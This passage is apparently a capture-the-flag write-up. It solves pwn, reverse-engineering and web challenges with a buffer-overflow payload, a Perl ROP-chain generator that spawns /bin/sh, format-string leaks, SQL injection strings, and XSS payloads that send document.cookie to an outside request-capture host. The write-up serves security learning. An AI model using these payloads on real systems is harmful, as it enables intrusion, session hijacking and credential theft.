00000010 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 |ffffffffffffffff|
00000020 66 66 66 66 66 66 66 66 ff ff ff ff ff ff ff ff |ffffffff........|
00000030 0a
And send the file via Send File (Binary) with Tera Term, enabling to use the shell.
I obtained the flag by executing a command cat flag.txt
on the shell.
flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}
ret2generic-flag-reader
A C source code, an ELF file, and information to connect to a TCP server were provided.
Reading the source code, I found a part that is reading data via gets
function and a function that reads ./flag.txt
and output its contents.
Disassembling the ELf file via objdump in TDM-GCC and checking, I found that the address of the function is 0x4011f6.
00000000004011f6 <super_generic_flag_reading_function_please_ret_to_me>:
Also I found that it is 0x28 bytes from where the gets
function stores the input to the return address.
00000000004013a5 <main>:
4013a5: f3 0f 1e fa endbr64
4013a9: 55 push %rbp
4013aa: 48 89 e5 mov %rsp,%rbp
(snip)
40141d: 48 8d 45 e0 lea -0x20(%rbp),%rax
401421: 48 89 c7 mov %rax,%rdi
401424: e8 b7 fc ff ff callq 4010e0 <gets@plt>
Seeing this, I created this file via a binary editor:
00000000 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000010 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000020 72 62 70 72 62 70 72 62 a4 13 40 00 00 00 00 00 |rbprbprb..@.....|
00000030 f6 11 40 00 00 00 00 00 0a |..@......|
Setting the return address to the address of function directly will have it violate the constraint that the stack pointer should be 16-byte alignmented when calling function,
so I adjusted the alignment by having it execute ret
instruction before calling the function.
I obtained the flag by connecting to the server via Tera term and sending the file via Send File (Binary).
flag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}
printf-please
A C source code, an ELF file, and information to connect to a TCP server were provided.
Reading the source code, I found it is doing this:
- Read the contents of
flag.txt
into the stack. - Read one line of data and replace a newline character to
'\0'
. - If the beginning of the data read is
please
, pass the data read to the first argument of theprintf
function.
When I gave this input:
please %1$016llx %2$016llx %3$016llx %4$016llx %5$016llx %6$016llx %7$016llx %8$016llx %9$016llx %10$016llx %11$016llx %12$016llx %13$016llx %14$016llx %15$016llx %16$016llx
It printed:
please 00007ffc709ce636 00007ffc709ce6d0 0000000000000000 0000000000000001 00007ff6b1931500 2520657361656c70 786c6c3631302431 6c36313024322520 313024332520786c 24342520786c6c36 2520786c6c363130 786c6c3631302435 6c36313024362520 313024372520786c 24382520786c6c36 2520786c6c363130 to you too!
Looking closely, you can find that the data corresponding to please
is printed as the 6th data.
Moreover, disassembling the ELF file via objdump in TDM-GCC and checking,
I found that the beginning of the flag data is 0x200 bytes after the beginning of the input data, which has please
.
118c: 48 89 e5 mov %rsp,%rbp
118f: 4c 8d ac 24 00 02 00 lea 0x200(%rsp),%r13
(snip)
11e7: ba 00 02 00 00 mov $0x200,%edx
11ec: 4c 89 ee mov %r13,%rsi
11ef: 89 c7 mov %eax,%edi
11f1: 41 89 c4 mov %eax,%r12d
11f4: 31 c0 xor %eax,%eax
11f6: e8 35 ff ff ff callq 1130 <read@plt>
(snip)
1271: 48 89 ef mov %rbp,%rdi
1274: e8 87 fe ff ff callq 1100 <printf@plt>
One data dealed with here is 8-byte long, so the flag should be obtained by printing from the 70th data (64 data ahead from the 6th data).
I entered this data (with a little margin):
please %68$016llx %69$016llx %70$016llx %71$016llx %72$016llx %73$016llx %74$016llx %75$016llx %76$016llx %77$016llx
It printed:
please 0000000000000000 0000000000000000 336c707b67616c66 6e3172705f337361 5f687431775f6674 5f6e303174756163 000a7d6c78336139 0000000000000000 0000000000000000 0000000000000000 to you too!
I obtained the flag by entering data that are not all-zero to CyberChef and applying:
- Fork (Split delimiter: a space character, Merge delimiter: an empty string)
- From Hex
- Reverse
flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}
ret2the-unknown
A C source code ret2the-unknown.c
, three ELF files (ret2the-unknown
、libc-2.28.so
、ld-2.28.so
),
and information to connect to a TCP server were provided.
The source code was a program that reads some input via gets
function and prints the address of printf
.
Disassembling ret2the-unknown
via objdump in TDM-GCC and checking,
I found that the address of the main
function is 0x401186
and that the return address is 0x28 bytes after where the gets
function stores what it reads.
Based on this, I created this file via a binary editor:
00000000 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000010 64 61 74 61 64 61 74 61 64 61 74 61 64 61 74 61 |datadatadatadata|
00000020 72 62 70 72 62 70 72 62 37 12 40 00 00 00 00 00 |rbprbprb7.@.....|
00000030 86 11 40 00 00 00 00 00 0a |..@......|
If you send this file via Send File (Binary) in Tera Term,
you can run the main
function once again via a ret
instruction for alignment adjusting.
Also, assuming that the printed address of printf
is the address of the function _IO_printf@@GLIBC_2.2.5
,
you can tell the place of libc-2.28.so
on the memory.
Searching for gadgets for ROP (Return-Oriented Programming) from libc-2.28.so
via a binary editor,
I found these, for example:
pop rax; ret (58 c3) : 0x3a638
pop rdi; ret (5f c3) : 0x23a5f
pop rsi; ret (5e c3) : 0x2440e
pop rdx; ret (5a c3) : 0x106725
syscall (0f 05) : 0x24104
Also, I searched for ret
via a text editor from the result of disassembling libc-2.28.so
via objdump in TDM-GCC,
finding that this part should be useful for writing to memory, for example:使えそうだった。
2393b: 48 89 05 26 cb 19 00 mov %rax,0x19cb26(%rip) # 1c0468 <_nl_msg_cat_cntr@@GLIBC_2.2.5+0xd8>
23942: c3 retq
Using these, I created a program that receives the printed address of printf
and
creates a file to send via Send File (Binary) in Tera Term to launch the shell.
A program to create a file to launch the shell
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV < 1) { die "please specify the place\n"; }
my $place = hex($ARGV[0]);
my $printf = 0x58560;
my $rax = 0x3a638;
my $rdi = 0x23a5f;
my $rsi = 0x2440e;
my $rdx = 0x106725;
my $syscall = 0x24104;
my $mem = 0x1c0468;
my $mov = 0x2393b;
my $key =
("d" x 0x20) . # fill the buffer
("s" x 8) . # rbp
pack("Q", $rax + $place - $printf) . # pop %rax; ret
"/bin/sh\0" . # rax = "/bin/sh"
pack("Q", $mov + $place - $printf) . # mov %rax,0x19cb26(%rip); ret
pack("Q", $rax + $place - $printf) . # pop %rax; ret
pack("Q", 59) . # rax = 59 (execve)
pack("Q", $rdi + $place - $printf) . # pop %rdi; ret
pack("Q", $mem + $place - $printf) . # rdi = the address of the buffer
pack("Q", $rsi + $place - $printf) . # pop %rsi; ret
pack("Q", 0) . # rsi = 0
pack("Q", $rdx + $place - $printf) . # pop %rdx; ret
pack("Q", 0) . # rdx = 0
pack("Q", $syscall + $place - $printf) . # syscall
"\n";
binmode(STDOUT);
print $key;
The connection broke soon for some reason, sending the created file quickly actually launched the shell.
I obtained the flag by executing a command cat flag.txt
in the shell.
flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}
rev
wstrings
An ELF file was provided.
Checking with a binary editor, it had a part that contains a string data like the flag every 4 bytes.
I obtained the flag by applying
- Decode Text (Encoding: UTF-32LE (12000))
- Strings
on CyberChef to this ELF file.
flag{n0t_al1_str1ngs_ar3_sk1nny}
bread-making
An ELF file and information to connect to a TCP server was provided.
Applying strings
command, it printed these strings aside of common names of symbols.
The strings printed
it's the next morning
mom doesn't suspect a thing, but asks about some white dots on the bathroom floor
couldn't open/read flag file, contact an admin if running on server
mom finds flour in the sink and accuses you of making bread
mom finds flour on the counter and accuses you of making bread
mom finds burnt bread on the counter and accuses you of making bread
mom finds the window opened and accuses you of making bread
mom finds the fire alarm in the laundry room and accuses you of making bread
the tray burns you and you drop the pan on the floor, waking up the entire house
the flaming loaf sizzles in the sink
the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house
pull the tray out with a towel
there's no time to waste
pull the tray out
the window is closed
the fire alarm is replaced
you sleep very well
time to go to sleep
close the window
replace the fire alarm
brush teeth and go to bed
you've taken too long and fall asleep
the dough has risen, but mom is still awake
the dough has been forgotten, making an awful smell the next morning
the dough has risen
the bread needs to rise
wait 2 hours
wait 3 hours
the oven makes too much noise, waking up the entire house
the oven glows a soft red-orange
the dough is done, and needs to be baked
the dough wants to be baked
preheat the oven
preheat the toaster oven
mom comes home and finds the bowl
mom comes home and brings you food, then sees the bowl
the ingredients are added and stirred into a lumpy dough
mom comes home before you find a place to put the bowl
the box is nice and warm
leave the bowl on the counter
put the bowl on the bookshelf
hide the bowl inside a box
the kitchen catches fire, setting off the fire alarm and waking up the entire house
the bread has risen, touching the top of the oven and catching fire
45 minutes is an awfully long time
you've moved around too much and mom wakes up, seeing you bake bread
return upstairs
watch the bread bake
the sink is cleaned
the counters are cleaned
everything appears to be okay
the kitchen is a mess
wash the sink
clean the counters
get ready to sleep
the half-baked bread is disposed of
flush the bread down the toilet
the oven shuts off
cold air rushes in
there's smoke in the air
unplug the oven
unplug the fire alarm
open the window
you put the fire alarm in another room
one of the fire alarms in the house triggers, waking up the entire house
brother is still awake, and sees you making bread
you bring a bottle of oil and a tray
it is time to finish the dough
you've shuffled around too long, mom wakes up and sees you making bread
work in the kitchen
work in the basement
flour has been added
yeast has been added
salt has been added
water has been added
add ingredients to the bowl
add flour
add yeast
add salt
add water
we don't have that ingredient at home!
the timer makes too much noise, waking up the entire house
the bread is in the oven, and bakes for 45 minutes
you've forgotten how long the bread bakes
the timer ticks down
use the oven timer
set a timer on your phone
Connecting to the server via Tera Term, it printed:
add ingredients to the bowl
Entering this, which was near the string in the result of strings
:
add flour
It printed:
flour has been added
Moreover, sending these three lines after that:
add yeast
add salt
add water
It printed:
the ingredients are added and stirred into a lumpy dough
And it seemed proceeding to the next stage.
Disassembling via objdump in TDM-GCC and checking, it looked complicated for me.
I analyzed the ELF file via Ghidra in these steps:
- Launch Ghidra by opening the
ghidraRun.bat
in the extracted files. - Choose "New Project..." from the "File" menu.
- Asked to choose "Project Type" , choose "Non-Shared Project" and press "Next".
- Create a new (empty) directory.
- Press "Finish" after setting "Project Directory" to the created directory and "Project Name" to some random name (for example,
aaa
). - Choose "Import File..." from the "File" menu.
- Choose the ELF file to analyze.
- Two dialogs appears, so press "OK" on each of them.
- Press the green icon (CodeBrowser) in the Tool Chest.
- CodeBrowser starts. Choose "Open..." in the "File" menu on that.
- Choose the file to analyze.
- Press "Yes" for the dialog asking "Would you like to analyze now?".
- "Analysis Options" dialog appears. Press "Analyze" on that.
- Expand "Functions" in the Symbol Tree and select
FUN_00102180
.
As a result, it had a part:
lVar6 = 0;
while( true ) {
iVar3 = strcmp(acStack200,*(char **)(puVar1 + lVar6 * 0x10 + 0x20));
if (iVar3 == 0) break;
lVar6 = lVar6 + 1;
if (lVar2 == lVar6) goto LAB_00102330;
}
iVar3 = (**(code **)(puVar1 + lVar6 * 0x10 + 0x28))();
if (iVar3 == -1) goto LAB_00102330;
And it looked like looking up a table to fund functions from strings.
Investigating the ELF file, I found this table:
The table to find functions from string
5080 000000000000000A 0000000000003327 "there's no time to waste"
5090 00000000000032A0 0000000000000002 "the flaming loaf sets the kitchen on fire, setting off the fire alarm and waking up the entire house"
50A0 0000000000003340 0000000000002660 "pull the tray out"
50B0 0000000000003308 0000000000002680 "pull the tray out with a towel"
50C0 000000000000001E 0000000000003396 "time to go to sleep"
50D0 00000000000033F0 0000000000000003 "you've taken too long and fall asleep"
50E0 00000000000033AA 00000000000026A0 "close the window"
50F0 00000000000033BB 00000000000026D0 "replace the fire alarm"
5100 00000000000033D2 0000000000002700 "brush teeth and go to bed"
5110 0000000000000000 0000000000000000
5120 000000000000001E 00000000000034A1 "the bread needs to rise"
5130 0000000000003448 0000000000000002 "the dough has been forgotten, making an awful smell the next morning"
5140 00000000000034B9 0000000000002720 "wait 2 hours"
5150 00000000000034C6 0000000000002740 "wait 3 hours"
5160 000000000000001E 0000000000003540 "the dough is done, and needs to be baked"
5170 0000000000003569 0000000000000002 "the dough wants to be baked"
5180 0000000000003585 0000000000002760 "preheat the oven"
5190 0000000000003596 0000000000002780 "preheat the toaster oven"
51A0 000000000000001E 0000000000003610 "the ingredients are added and stirred into a lumpy dough"
51B0 0000000000003650 0000000000000003 "mom comes home before you find a place to put the bowl"
51C0 00000000000036A0 00000000000027A0 "leave the bowl on the counter"
51D0 00000000000036BE 00000000000027C0 "put the bowl on the bookshelf"
51E0 00000000000036DC 00000000000027E0 "hide the bowl inside a box"
51F0 0000000000000000 0000000000000000
5200 000000000000000A 0000000000003798 "45 minutes is an awfully long time"
5210 00000000000037C0 0000000000000002 "you've moved around too much and mom wakes up, seeing you bake bread"
5220 0000000000003805 0000000000002800 "return upstairs"
5230 0000000000003815 0000000000002820 "watch the bread bake"
5240 000000000000001E 0000000000003875 "the kitchen is a mess"
5250 00000000000033F0 0000000000000004 "you've taken too long and fall asleep"
5260 000000000000388B 0000000000002840 "wash the sink"
5270 0000000000003899 0000000000002870 "clean the counters"
5280 00000000000038E8 00000000000028A0 "flush the bread down the toilet"
5290 00000000000038AC 00000000000028D0 "get ready to sleep"
52A0 0000000000000005 000000000000392E "there's smoke in the air"
52B0 00000000000039A8 0000000000000003 "one of the fire alarms in the house triggers, waking up the entire house"
52C0 0000000000003947 00000000000028F0 "unplug the oven"
52D0 0000000000003957 0000000000002940 "unplug the fire alarm"
52E0 000000000000396D 0000000000002990 "open the window"
52F0 0000000000000000 0000000000000000
5300 000000000000001E 0000000000003A58 "it is time to finish the dough"
5310 0000000000003A78 0000000000000002 "you've shuffled around too long, mom wakes up and sees you making bread"
5320 0000000000003AC0 0000000000002A10 "work in the kitchen"
5330 0000000000003AD4 0000000000002A30 "work in the basement"
5340 000000000000001E 0000000000003B3C "add ingredients to the bowl"
5350 0000000000003B80 0000000000000004 "we don't have that ingredient at home!"
5360 0000000000003B58 0000000000002A50 "add flour"
5370 0000000000003B62 0000000000002AB0 "add yeast"
5380 0000000000003B6C 0000000000002B10 "add salt"
5390 0000000000003B75 0000000000002B70 "add water"
53A0 000000000000000A 0000000000003BE8 "the bread is in the oven, and bakes for 45 minutes"
53B0 0000000000003C20 0000000000000002 "you've forgotten how long the bread bakes"
53C0 0000000000003C5F 0000000000002C00 "use the oven timer"
53D0 0000000000003C72 0000000000002C20 "set a timer on your phone"
Doing more investigation, I found that it can proceed to next stage by sending one or all of the strings
that are 3rd or later in each blocks of this table when the first string of the block is printed.
The connection broke soon for some reason,
so I decided to prepare strings to send on a text editor and paste all of them for sending.
In conclusion, I obtained the flag by sending this strings:
The strings to send
add flour
add yeast
add salt
add water
hide the bowl inside a box
wait 3 hours
work in the basement
preheat the toaster oven
set a timer on your phone
watch the bread bake
pull the tray out with a towel
open the window
unplug the oven
unplug the fire alarm
wash the sink
clean the counters
flush the bread down the toilet
get ready to sleep
close the window
replace the fire alarm
brush teeth and go to bed
flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}
web
inspect-me
An URL of a Web page was provided.
Accessing that page, I found:
TODO: remove flag from HTML comment
Viewing the source of the page, I found the flag is written like this:
<!-- flag{inspect_me_like_123} -->
flag{inspect_me_like_123}
orm-bad
An URL of a Web page and a server program app.js
were provided.
The Web page had a form to enter Username and Password.
Checking the app.js
, I found it is executing this query:
"SELECT * FROM users WHERE username='" + req.body.username + "' AND password='" + req.body.password + "'"
And prints the flag if the username
is admin
.
I obtained the flag by entering admin' and (1=1 or ('1'='1
as the Username and 1')) and '1'='1
as the Password.
flag{sqli_overused_again_0b4f6}
pastebin-1
An URL of a Web page, Admin Bot, and a program of the server main.rs
were provided.
The Web page had a area to enter some text, and it seemed the entered text is directly put in the HTML when submitted.
Submitting this with example.com
replaced with my RequestBin.com endpoint domain:
<img src="x" onerror="i=document.createElement('img');i.src='https://example.com/'+encodeURIComponent(document.cookie);document.body.appendChild(i);">
And sending the URL of the generated page to the Admin Bot, a request to
/flag%3Dflag%7Bd1dn7_n33d_70_b3_1n_ru57%7D
appeared on RequestBin.
I obtained the flag by applying decodeURIComponent
to this on the browser console.
flag{d1dn7_n33d_70_b3_1n_ru57}
secure
An URL of a Web page and a program of the server index.js
were provided.
The Web page was a form to enter Username and Password.
Reading index.js
, I found it is executing this query:
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}';`;
based on what are sent and printin the flag if the result is true.
To begin with, I entered what I entered for the challenge orm-bad:
Username: admin' and (1=1 or ('1'='1
、Password: 1')) and '1'='1
.
It showed:
Incorrect username or password. Query: SELECT id FROM users WHERE username = 'YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE=' AND password = 'MScpKSBhbmQgJzEnPScx';
It didn't seem doing something special after receiving the query, so the query should be modified before sending them.
Checking with the developer tool, a request with this request payload was found:
username=YWRtaW4nIGFuZCAoMT0xIG9yICgnMSc9JzE%3D&password=MScpKSBhbmQgJzEnPScx
I obtained the flag by editing the request body to this and re-sending the request:
username=a&password='%20union%20select%20'1
flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}
notes
An URL of a Web page, Admin Bot, and the files on the server were provided.
The Web page accepts posts of notes with body and tag after registering with username and password.
Reading notes/public/static/view/index.js
in the provided files, I found the posted data are displayed via innerHTML
after this process:
- The body is displayed after escaping
<>"'
. - The tag is not escaped, but the characters from 8th are replaced to
...
when it exceeds 10 characters.
Moreover, I came up with these idea:
- The body can contain JavaScript string literals using
`
, which is not escaped. - HTML tag attributes and
'
are useful to disable extra data around the tag. ("
is used there, but'
is not used)
The tag, which is not escaped, has a limit for the number of characters.
I searched for short attribute names which works when used with innerHTML
, and found
<svg><set onend=alert(1) attributename=x dur=1s>
from Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy.
Adapting this, I posted following data from top to bottom:
body | tag |
---|---|
hello |
<svg x=' |
hello |
'><set a=' |
hello |
'dur=1 b=' |
hello |
' onend='` |
`; const a=document.createElement(`img`); /* |
public |
*/ a.src=`https://example.com/` + /* |
public |
*/ encodeURIComponent(document.cookie); /* |
public |
*/ document.body.appendChild(a); const x = ` |
`'/></svg> |
(example.com
is replaced to my endpoint domain on RequestBin.com)
The form for the tag was select
element, so I set data for value
attribute of option
element via the Developer Tool.
After sending these, I confirmed that the cookie data is sent to RequestBin when I visit the View Notes page.
Sending the URL of this page to the Admin Bot, a request to
/username%3Dadmin.uPoq5EHI5BXHy3ifvT25%252Fds2M3JH2JwsZJPpN0Vn1s8
appeared on RequestBin.
I applied decodeURIComponent
to this on the browser console, and set what is after username=
to the username
of the cookie via the Developer Tool.
After that, I obtained the flag by visiting Home, and visiting View Notes from there.
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}